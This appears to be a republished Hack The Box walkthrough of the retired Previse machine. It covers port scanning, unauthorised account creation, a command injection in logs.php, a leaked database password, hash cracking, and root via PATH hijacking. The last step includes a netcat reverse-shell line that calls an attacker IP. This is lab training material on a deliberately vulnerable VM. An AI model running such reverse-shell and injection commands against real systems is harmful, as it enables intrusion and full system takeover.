Previse: Hack The Box Walkthrough
source link: https://hackso.me/previse-htb-walkthrough/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
This post documents the complete walkthrough of Previse, a retired vulnerable VM created by m4lwhere, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.
On this post
Background
Previse is a retired vulnerable VM from Hack The Box.
Information Gathering
Let’s start with a masscan
probe to establish the open ports in the host.
masscan -e tun0 -p1-65535,U:1-65535 10.10.11.104 --rate=1000
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2021-08-09 18:06:31 GMT
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.11.104
Discovered open port 80/tcp on 10.10.11.104
Nothing unsual. Let’s do one better with nmap
scanning the discovered ports to establish their services.
nmap -n -v -Pn -p22,80 -A --reason 10.10.11.104 -oN nmap.txt
...
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-favicon: Unknown favicon MD5: B21DD667DF8D81CAE6DD1374DD548004
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
This is what the http service looks like.
Directory/File Enumeration
Let’s see what we can get from gobuster
and SecLists.
gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -e -t 20 -x php,txt -u h
ttp://10.10.11.104/
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.104/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,txt
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/08/09 18:19:58 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.11.104/css (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]
http://10.10.11.104/login.php (Status: 200) [Size: 2224]
http://10.10.11.104/logout.php (Status: 302) [Size: 0] [--> login.php]
http://10.10.11.104/download.php (Status: 302) [Size: 0] [--> login.php]
http://10.10.11.104/logs.php (Status: 302) [Size: 0] [--> login.php]
http://10.10.11.104/files.php (Status: 302) [Size: 7256] [--> login.php]
http://10.10.11.104/config.php (Status: 200) [Size: 0]
http://10.10.11.104/index.php (Status: 302) [Size: 2801] [--> login.php]
http://10.10.11.104/js (Status: 301) [Size: 309] [--> http://10.10.11.104/js/]
http://10.10.11.104/accounts.php (Status: 302) [Size: 3994] [--> login.php]
http://10.10.11.104/nav.php (Status: 200) [Size: 1248]
http://10.10.11.104/header.php (Status: 200) [Size: 980]
http://10.10.11.104/footer.php (Status: 200) [Size: 217]
http://10.10.11.104/status.php (Status: 302) [Size: 2970] [--> login.php]
http://10.10.11.104/server-status (Status: 403) [Size: 277]
===============================================================
2021/08/09 18:20:32 Finished
===============================================================
Looks like login.php
is our only way in or is it?
Creating an account with accounts.php
One would normally expect a size of zero for 302
redirects but look at some of them, especially files.php
and accounts.php
. Let’s look at accounts.php
for instance.
HTTP/1.1 302 Found
Date: Tue, 10 Aug 2021 04:21:30 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=vp298lkmrkpbppqjm8smj5kib1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php
Content-Length: 3994
Connection: close
Content-Type: text/html; charset=UTF-8
...
<section class="uk-section uk-section-default">
<div class="uk-container">
<h2 class="uk-heading-divider">Add New Account</h2>
<p>Create new user.</p>
<p class="uk-alert-danger">ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!</p>
<p>Usernames and passwords must be between 5 and 32 characters!</p>
</p>
<form role="form" method="post" action="accounts.php">
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: user"></span>
<input type="text" name="username" class="uk-input" id="username" placeholder="Username">
</div>
</div>
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: lock"></span>
<input type="password" name="password" class="uk-input" id="password" placeholder="Password">
</div>
</div>
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: lock"></span>
<input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
</div>
</div>
<button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
</form>
</div>
</section>
...
Despite the warning “ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!”, it appears that we are able to create an account by a POST request with supplied username, password and confirmed password. Let’s go ahead and register (ohmygawd:ohmygawd
).
curl -i -d "username=ohmygawd&password=ohmygawd&confirm=ohmygawd" http://10.10.11.104/accounts.php
HTTP/1.1 302 Found
Date: Tue, 10 Aug 2021 04:30:36 GMT
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=4plkjne3usofi1fgqa4k5h3fn8; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: login.php
Content-Length: 4109
Connection: close
Content-Type: text/html; charset=UTF-8
...
<section class="uk-section uk-section-default">
<div class="uk-container">
<h2 class="uk-heading-divider">Add New Account</h2>
<p>Create new user.</p>
<p class="uk-alert-danger">ONLY ADMINS SHOULD BE ABLE TO ACCESS THIS PAGE!!</p>
<p>Usernames and passwords must be between 5 and 32 characters!</p>
<div class="uk-alert-success" uk-alert><a class="uk-alert-close" uk-close></a><p>Success! User was added!</p></div></p>
<form role="form" method="post" action="accounts.php">
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: user"></span>
<input type="text" name="username" class="uk-input" id="username" placeholder="Username">
</div>
</div>
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: lock"></span>
<input type="password" name="password" class="uk-input" id="password" placeholder="Password">
</div>
</div>
<div class="uk-margin">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: lock"></span>
<input type="password" name="confirm" class="uk-input" id="confirm" placeholder="Confirm Password">
</div>
</div>
<button type="submit" name="submit" class="uk-button uk-button-default">CREATE USER</button>
</form>
</div>
</section>
...
Success! User was added!
Previse File Hosting
With that, we have an account into Previse File Hosting.
Site Backup
Looks like some newguy
left a copy of the site’s backup. Oops!
Command Injection Vulnerability in logs.php
It didn’t take long for me to spot a command injection vulnerability in logs.php
.
<?php
session_start();
if (!isset($_SESSION['user'])) {
header('Location: login.php');
exit;
}
?>
<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
header('Location: login.php');
exit;
}
/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
$filepath = "/var/www/out.log";
$filename = "out.log";
if(file_exists($filepath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
ob_clean(); // Discard data in the output buffer
flush(); // Flush system headers
readfile($filepath);
die();
} else {
http_response_code(404);
die();
}
?>
There’s no input validation in the delim
parameter:
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
Foothold
Armed with this insight we can get ourselves a reverse shell like so.
And we have shell!
From www-data
to m4lwhere
During enumeration of www-data
’s account, I got hold of the database configuration in config.php
.
<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>
Armed with the credential (root:mySQL_p@ssw0rd!:)
), we can enumerate the database previse
to our hearts’ content.
We can see from /etc/passwd
that m4lwhere
is a user of the remote machine.
And that PasswordAuthentication
in /etc/ssh/sshd_config
is set to yes
.
Cracking md5crypt
with hashcat
Notice the salt shaker emoticon in the salt? My favorite offline cracker JtR didn’t like emoticon in the salt, hashcat
on the other hand is totally cool with it.
Armed with the password ilovecody112235!
, we should be able to log in as m4lwhere
via SSH. As expected, the file user.txt
is in m4lwhere
’s home directory.
Privilege Escalation
During enumeration of m4lwhere
’s account, I notice m4lwhere
is able to sudo
as root
the following.
This is what /opt/scripts/access_backup.sh
looks like.
#!/bin/bash
# We always make sure to store logs, we take security SERIOUSLY here
# I know I shouldnt run this as root but I cant figure it out programmatically on my account
# This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
m4lwhere
didn’t have the permission to modify access_backup.sh
.
Hijacking PATH search order
Notice that date
is executed in the context of a subshell without the full path in the script above? Perhaps then we could do something like so.
echo -en '#!/bin/bash\n\n/bin/nc 10.10.16.125 1234 -e /bin/bash &\n\n/bin/date $@' > /tmp/date
chmod +x /tmp/date
export PATH=/tmp:$PATH
sudo /opt/scripts/access_backup.sh
And we are root
!
Getting root.txt
is trivial.
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK